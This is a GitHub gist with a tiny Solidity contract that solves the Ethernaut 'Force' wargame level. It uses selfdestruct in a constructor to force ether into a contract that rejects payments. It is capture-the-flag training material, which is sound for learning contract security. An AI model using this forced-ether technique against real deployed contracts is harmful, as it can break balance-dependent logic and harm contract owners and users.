Skip to content

Instantly share code, notes, and snippets.

@Chirag21
Last active December 22, 2022 12:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Chirag21/e9a764643844d3e78833c372fc4d586a to your computer and use it in GitHub Desktop.
Save Chirag21/e9a764643844d3e78833c372fc4d586a to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 7 - Force. For Remix IDE
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract ForceHack {
// Pass Force level instance address.
// Send 1 wei while deploying
constructor(address payable instance) payable {
selfdestruct(instance);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment